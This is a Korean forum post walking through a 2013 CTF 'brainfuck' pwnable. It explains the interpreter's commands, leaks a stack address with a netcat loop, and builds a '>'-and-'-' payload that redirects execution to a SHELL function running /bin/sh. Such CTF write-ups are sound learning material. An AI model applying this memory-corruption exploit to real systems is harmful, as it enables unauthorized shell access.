[ctf 2013] brainfuck

해킹대회 문제 풀이 연습장소

Moderator: amesianx

Post Reply
swoo1013
Posts: 31
Joined: Tue Sep 20, 2016 4:25 pm

[ctf 2013] brainfuck

Post by swoo1013 » Fri Dec 09, 2016 3:09 pm

Brainfuck 문제풀이

문제 풀기전 문제풀이가 죽어있기 때문에 socat을 이용해 바인딩 시킨다.
root@osboxes:~/t# socat tcp-listen:9999,reuseaddr,fork,bind=localhost exec:"./bf2"

우선 id로 권한을 확인
osboxes@osboxes:/tmp$ id
uid=1000(osboxes) gid=1000(osboxes) groups=1000(osboxes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

file 명령으로 문제 파일 정보 확인]
32바이트 ELF 파일로 보이며, symbol등은 정상적으로 살아있는것으로 보임.

osboxes@osboxes:/tmp$ file bf2
bf2: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=8438f7625e966b84aced94359daa8d3d15cdbb5a, not stripped
osboxes@osboxes:/tmp$

IDA로 확인해보면 main 함수 내부에 bf_main 함수가 보이며, bt_main 함수가 실행된 뒤 puts 함수로 THANKS~를 출력하는 것으로 보임
[attachment=10]캡처.PNG[/attachment]
실행을 해보면 아래의 그림과 같이 사용자의 입력을 받고, 개행이 일어나게 되면 THANKS FOR ~를 출력하는 것으로 보임
[attachment=9]캡처.PNG[/attachment]
문제 풀이를 위해서 bf_main 함수를 분석할 필요가 있어 보임.
bf_main 함수은 스택 프레임을 구성할 때 여러개의 변수들을 선언하는 것으로 보인다.
[attachment=8]캡처.PNG[/attachment]
주요 소스코드를 확인해보면 buffer 변수에 0x804a0a0의 주소에서 count만큼 +해서 저장을 하는데 이 buffer 포인터 변수의 값은
switch ~ case문에 사용된다. 여기서 brainfuck이라는 언어에 대해서 확인해봐야할 것으로 보인다.
[attachment=7]캡처.PNG[/attachment]
출처 : https://ko.wikipedia.org/wiki/%EB%B8%8C ... 8%ED%8D%BD
brainfuck에 대해서 깔끔하게 정리해 놨다. 여기서 봐야하는 정보는 brainfuck에는 8가지의 명령어가 있다.
[ ] < > + - . ,총 8가지로 각각의 명령어들마다 역할이 다르다.
우선 [ ]는 while (*ptr)을 의미한다. brainfuck 언어에서 반복문을 사용하기 위해서 존재하는 것으로 보이며,
이 문제를 푸는데는 크게 관련이 없어 보인다. 그리고 < > 명령어는 ++ptr, --ptr을 가리키고 있는데, 포인터 변수의 주소를 증감 시키는 역할을 한다
+ -의 경우 포인터 변수의 주소를 증감 시키는 것이 아닌 포인터 변수에 존재하는 값을 변경 시키는 역할을 한다.
풀어서 얘기하면 *ptr = "a(0x41)";가 존재한다고 가정했을 때, brainfuck 언어에서는 ++ptr += +이렇게 사용했을 경우 *ptr ="b(0x42)";로 변경된다는 의미로 해석할 수 있다.
즉 포인터 변수에 존재하는 바이트 값을 변경 시키는 역할을 하는 것으로 보인다.
마지막으로 .와 ,가 존재하는데 . 명령어는 현재 포인터에서 printf(*ptr); 역할을 하는 것으로 보인다.
포인터 변수의 값을 ASCII 문자로 출력해준다. 마지막으로 ,는 *ptr가 가리키는 바이트에 입력받은 문자의 ASCII 값을 INSERT 해주는 역할로 보인다
만약 *ptr가 0x804012="a";라고 지정되있으면 ,는 사용자의 입력값을 해당 *ptr에 주입시킨다는 의미이며 fgets 함수로 사용자가 b를 입력했다면
*ptr 0x804012="b";가 주입된다는 의미이다.
[attachment=6]캡처.PNG[/attachment]
[attachment=4]캡처.PNG[/attachment]
[*]
간단히 brainfuck에 대한 정리를 했으므로, 이젠 프로그램을 직접 brainfuck 명령어를 이용해 확인해봤다.
위에서 정리한대로 <는 *ptr의 주소를 감소시키며 .는 감소 시킨 *ptr의 값을 ASCII로 출력해준다.
그리고 +. -. +. +. +. +. 등을 이용해 현재 *ptr 변수에 저장된 값을 BYTE 단위로 증감 시킨 뒤 출력해보면 아래의 그림과 같이
원하는데로 출력된다는 점을 확인할 수 있었다.
이 점을 이용해서 공격을 진행해야 할 것으로 보인다.
캡처.PNG
캡처.PNG (5.96 KiB) Viewed 358 times
우선 IDA로 존재하는 함수를 확인해보면 SHELL이라는 함수가 존재한다.
SHELL 함수는 0x8048a6e 위치에 스택 프레임이 할당되어 있다.
함수 내부를 살펴보면 system("/bin/sh")가 존재한다는 점을 알 수 있다.
문제를 풀기 위해서 생각해봐야할 점은 SHELL 함수가 저렇게 존재하는데, 우리는 brainfuck 명령어를 이용해서 *ptr 주소를 찾아낸 뒤, SHELL 함수의
오프셋만큼 이동 시키면 "/bin/sh"가 실행되면서 쉘을 흭득할 수 있을 것으로 보인다.
캡처.PNG
캡처.PNG (7.67 KiB) Viewed 358 times
해당 바이너리는 case '명령어':로 buffer로부터 분기하는데, 0,1,2,3,4,5,6,7이라는 값을 할당한다. 이 값은 아래로 스크롤을 내려보면,
buffer에서 할당받은 명령어에 따라 case 0,1,2,3,4,5,6,7로 사용되고 있음을 알 수 있었고, 해당 값은 brainfuck에서 사용하는 스트럭쳐임을 알 수 있었다.
[*]
캡처.PNG
캡처.PNG (7.72 KiB) Viewed 358 times
osboxes@osboxes:/tmp$ for num in {1..100}; do echo $num; (python -c "print '>'*$num+'.'+'\n'") | nc 192.168.8.142 9999 | sed -n "/0x08048/p";done
위와 같이 num 변수에 1~100까지 주입하는데 python 명령어를 이용해 >(포인터 주소 증가 시키면서 증가 시킨 포인터 주소를 출력한다) 마지막으로 sed -n 명령어를 이용해 0x08048 주소만을 출력한다.

48
49
50
51
> GIVE ME SOMETHING TO DANCE FOR: 0x08048a9d ( main stack frame pointer )
52
53
54
> GIVE ME SOMETHING TO DANCE FOR: 0x08048ab9
55
56
> GIVE ME SOMETHING TO DANCE FOR: 0x08048ab0
57
58
59

위와 같이 출력될 것이다. 우리는 SHELL 함수에 대한 주소를 가지고 잇따. 0x8048a6e

포인터 주소를 51번째 옮기고 출력하면 0x080489d 주소를 출력하는데 해당 주소는 main stack frame pointer를 가리킨다.
즉 main stack frame pointer - shell function 값을 구해보면 0x2f이며 47를 나타낸다.
즉 포인터 주소를 51번째 옮기고 해당 포인터 주소의 값에서 0x2f만큼 감소 시키면 shell function이 호출 되면서 shell을 흭득할 것으로 보인다.
[*]
캡처.PNG
캡처.PNG (15.41 KiB) Viewed 358 times
아래의 그림과 같이 python -c 'print ">"*51(포인터 주소를 51번 증가 시키고, 51번 증가 시킨 포인터 주소에서 shell_function의 주소까지 0x2f만큼 차이 나기 때문에 "-"*47를 이용해 MAIN FUNCTION에서 SHELL FUNCTION으로 포인터 주소를 이동 시킨 뒤 ;cat을 이용해 권한을 상승 시킬 수 있다.
캡처.PNG
캡처.PNG (5.6 KiB) Viewed 358 times
Attachments
캡처.PNG
캡처.PNG (18.21 KiB) Viewed 358 times
캡처.PNG
캡처.PNG (4.43 KiB) Viewed 358 times
캡처.PNG
캡처.PNG (9.72 KiB) Viewed 358 times
캡처.PNG
캡처.PNG (7.11 KiB) Viewed 358 times
캡처.PNG
캡처.PNG (3.66 KiB) Viewed 358 times
캡처.PNG
캡처.PNG (10.15 KiB) Viewed 358 times

Post Reply

Who is online

Users browsing this forum: No registered users and 17 guests